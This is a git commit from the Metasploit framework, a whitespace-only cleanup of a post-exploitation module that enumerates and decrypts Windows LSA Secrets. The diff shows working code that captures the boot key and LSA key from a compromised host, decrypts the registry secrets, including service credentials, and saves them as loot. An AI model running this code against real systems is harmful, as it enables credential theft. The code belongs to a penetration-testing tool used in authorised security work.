msftidy up

bug/bundler_fix
Rob Fuller 2013-10-16 22:17:05 -04:00
parent b42687151f
commit 2fbd7ea0ba
1 changed files with 8 additions and 8 deletions

View File

@ -17,7 +17,7 @@ class Metasploit3 < Msf::Post
'Name' => "Windows Enumerate LSA Secrets",
'Description' => %q{
This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:
HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt
HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt
code from cachedump.
},
'License' => MSF_LICENSE,
@ -211,7 +211,7 @@ class Metasploit3 < Msf::Post
sk_arr = meterpreter_registry_enumkeys(mid_key)
sk_arr.each do |mkeys|
begin
#CurrVal stores the currently set value of the key, in the case of
#CurrVal stores the currently set value of the key, in the case of
#services it usually come out as plan text
if(mkeys == "CurrVal")
val_key = root_key + "\\" + keys + "\\" + mkeys
@ -226,7 +226,7 @@ class Metasploit3 < Msf::Post
sec = sec[0xC..-1]
sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join
end
if(sec.length > 0)
if(sec.length > 0)
if(keys[0,4] == "_SC_")
user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"
keys_c = keys[4,keys.length]
@ -241,7 +241,7 @@ class Metasploit3 < Msf::Post
#if the unencrypted value is not blank, print
print_good("Key: #{keys} \n Decrypted Value: #{sec}\n")
sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n"
end
end
end
else
next
@ -262,24 +262,24 @@ class Metasploit3 < Msf::Post
rescue
print_error("Cannot find key.")
end
return sec_str
return sec_str
end
# The sauce starts here
def run
print_status('Obtaining boot key...')
bootkey = capture_boot_key
#print_status("Boot key: #{bootkey.unpack("H*")[0]}")
#print_status("Boot key: #{bootkey.unpack("H*")[0]}")
print_status('Obtaining Lsa key...')
lsakey = capture_lsa_key(bootkey)
#print_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
#print_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
hostname = session.sys.config.sysinfo['Computer']
print_status("Executing module against #{hostname}")
client.railgun.netapi32()
begin
secrets = hostname << get_secret(lsakey)
secrets = hostname << get_secret(lsakey)
print_status("Writing to loot...")
path = store_loot(
'registry.lsa.sec',